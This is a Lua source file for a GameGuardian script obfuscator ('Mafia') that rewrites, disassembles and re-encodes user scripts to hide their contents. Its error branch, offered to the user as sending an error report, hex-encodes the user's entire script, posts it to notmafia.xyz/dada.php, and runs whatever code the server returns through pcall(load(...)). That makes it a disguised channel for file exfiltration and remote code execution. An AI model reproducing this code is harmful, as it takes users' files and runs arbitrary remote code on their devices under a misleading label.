#Encrypt
#Encrypt
require("Contents/Sources/#Log-hook")
Log=[[]]..Log.log..[[]].."\n"..[[ ]]
--############################
--#########SimpleKeys#########
--############################
key = {1,1,1,1,1,1,1,1,1,2}
for i = 1, 6 do;
key[i] = key[i] + 200 + math.random(8, 19) --> Dont Change keys or the encrypt
will may not work <--
end
--############################
--############################
--############################
require("Contents/Sources/#Encode-Functions+Keys")
--############################
--#########DATA Gsubs#########
--############################
Code = Code:gsub(string.char(table.unpack({34,92,34})),
string.char(table.unpack({34})))
Code = Code:gsub(string.char(table.unpack({92,34,34})),
string.char(table.unpack({34})))
Code = Code:gsub(string.char(table.unpack({39,92,39})),
string.char(table.unpack({39})))
Code = Code:gsub(string.char(table.unpack({92,39,39})),
string.char(table.unpack({39})))
Code = Code:gsub('\\"(.-)\\"', function(x) x = load('return "'..x..'"')()
return x end)
Code = Code:gsub("end\nif", ";end;"..RandomGarb(math.random(28,36))..";if")
Code = Code:gsub("gg%.getRangesList%(", function() x = hi("getRangesList")
return "gg[_AA:__("..x..")](" end)
--############################
--############################
--############################
TablesEnc = {
["stringTable"] = {
'%"%\\"(.-)%\\"%"',
'%"(.-)%"',
"%'%\\'(.-)%\\'%'",
"%'(.-)%'",
'%[==%[(.-)%]==%]',
'%[%[(.-)%]%]'
},
["funcTable"] = {
"gg",
"os",
"math",
"string",
"debug",
"table"
},
["Func"] = {
"print%(",
"loadfile%(",
"load%(",
"ipairs%(",
"pairs%("
},
["Escapes"] = {
"\t",
"\n"
}
}
--??
do
local _ = require("Contents/Sources/#BigLasm") and nil
if _ ~= nil then else BigLasm = " " end end
--??
require("Contents/Useless/#Multiply_ Functions()")
--??
require("Contents/Sources/#Encode-the-orig-keys")
--??
require("Contents/Useless/#[A-Z][0-9]")
--??
require("Contents/Sources/#The-Codes-of-Middle")
--require("Contents/Useless/Nahh")
--compile
Lua = io.open(Xd.XD.Xd.out, "r"):read("*a")
m, err = load(Lua)
if type(m) == "function" or type(m) == "string" then
--Lasm??
Lasm = Dissamble(string.dump(load(Lua), true, true), Xd.XD.Xd.out, "Mafia")
require("Contents/Sources/#Lasm_t")
--Lua??
Lua = Assembly(Lasm, "Mafia")
require("Contents/Sources/#Lua_Hex")
io.open(Xd.XD.Xd.out,"w"):write(Lua):close()
--Not interesting thing.
require("Contents/Useless/Tata")
print("⚡ File Encoded Size: "..Tata.lua)
print(string.format("🕛 Encode Time : %.2f", os.clock() - xez) .. " Seconds")
gg.toast("💻 sᴇʀᴠᴇʀ: Sᴄʀɪᴘᴛ Sᴜᴄᴄᴇssғᴜʟʟʏ Eɴᴄʀʏᴘᴛᴇᴅ", true)
gg.alert("📂 sᴄʀɪᴘᴛ sᴜᴄᴄᴇssғᴜʟʟʏ ᴇɴᴄʀʏᴘᴛᴇᴅ\n🗂 sᴀᴠᴇᴅ ɪɴ:
"..Xd.XD.Xd.out.."","")
os.remove(gg.getFile()..".luaaaaa")
os.remove(gg.getFile()..".HI.dump1")
return gg["setVisible"](true)
else
X = gg.alert("💻 sᴇʀᴠᴇʀ: Script Cannot be Encrypted\n💻 sᴇʀᴠᴇʀ: You can send this
Error to Mafia, by clicking Send, or you can Exit","⚡ SEND","❌ EXIT")
if X == 1 then
gg.makeRequest("")
local Name = "Mafia"
local function tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))
end
local XX = io.open(Xd.XD.Xd.out,"r"):read("*a")
local a =
gg.makeRequest("https://notmafia.xyz/dada.php",nil,"Send=ksmk&Error="..tohex(err)..
"&Name="..Name.."&File="..tohex(XX))
os.remove(Xd.XD.Xd.out)
os.remove(gg.getFile()..".luaaaaa")
os.remove(gg.getFile()..".HI.dump1")
if a.code ~= 200 then return print("Error, bad request 404") and os.exit() end
pcall(load(a.content))
elseif X == 2 then
os.remove(Xd.XD.Xd.out)
os.remove(gg.getFile()..".luaaaaa")
os.remove(gg.getFile()..".HI.dump1")
os.exit()
end;
os.remove(Xd.XD.Xd.out)
os.remove(gg.getFile()..".luaaaaa")
os.remove(gg.getFile()..".HI.dump1")
return "\10\10\10"
end
end